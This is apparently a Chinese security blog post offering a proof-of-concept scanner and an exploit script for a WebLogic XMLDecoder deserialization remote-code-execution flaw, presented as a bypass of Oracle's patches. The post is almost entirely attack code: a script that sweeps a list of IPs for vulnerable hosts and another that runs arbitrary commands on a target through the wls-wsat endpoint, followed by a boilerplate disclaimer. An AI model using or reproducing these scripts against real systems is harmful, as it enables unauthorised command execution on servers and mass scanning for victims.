利用点是weblogic的xmldecoder反序列化漏洞,只是构造巧妙的利用链对Oracle官方历年来对这个漏洞点的补丁绕过
主要来还是懒 废话不多说直接上exp和poc 吧 poc并不通用 更多用exp吧
IP填入ip.txt 后用poc检测
POC
import requests import sys import time import random import threading def exec_cmd(ip,cmd): url="http://"+ip+"/wls-wsat/CoordinatorPortType11" headers={ 'User-Agent': 'Apache-HttpClient/4.1.1 (java 1.5)', 'CMD' : cmd, 'SOAPAction':'""', 'Content-Type':'text/xml' } with open('payload.txt','rb') as f : payloads=f.read() r=requests.post(url,headers=headers,data=payloads,timeout=5) return r.content.decode() def test_poc(ip): check=str(int(time.time())+int(random.uniform(1000,9999))) out=exec_cmd(ip,'echo '+check) if check in out: print('vul finds:'+ip) def main(): print("put ips in ip.txt ") with open('ip.txt') as f: for line in f.readlines(): try: test_poc(line) except : pass print("End") if __name__ == '__main__': main()。
exp
import requests import sys def exec_cmd(ip,cmd): url="http://"+ip+"/wls-wsat/CoordinatorPortType11" headers={ 'User-Agent': 'Apache-HttpClient/4.1.1 (java 1.5)', 'CMD' : cmd, 'SOAPAction':'""', 'Content-Type':'text/xml' } with open('payload.txt','rb') as f : payloads=f.read() r=requests.post(url,headers=headers,data=payloads) return r.content.decode() def main(): if len(sys.argv)<3: print('usage:exp.py www.0dayhack.com:8080 whoami') sys.exit() ip=sys.argv[1] cmd=sys.argv[2] out=exec_cmd(ip,cmd) print(out) if __name__ == '__main__': main()
注意:
只支持Py3
ip.txt是放检测的
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论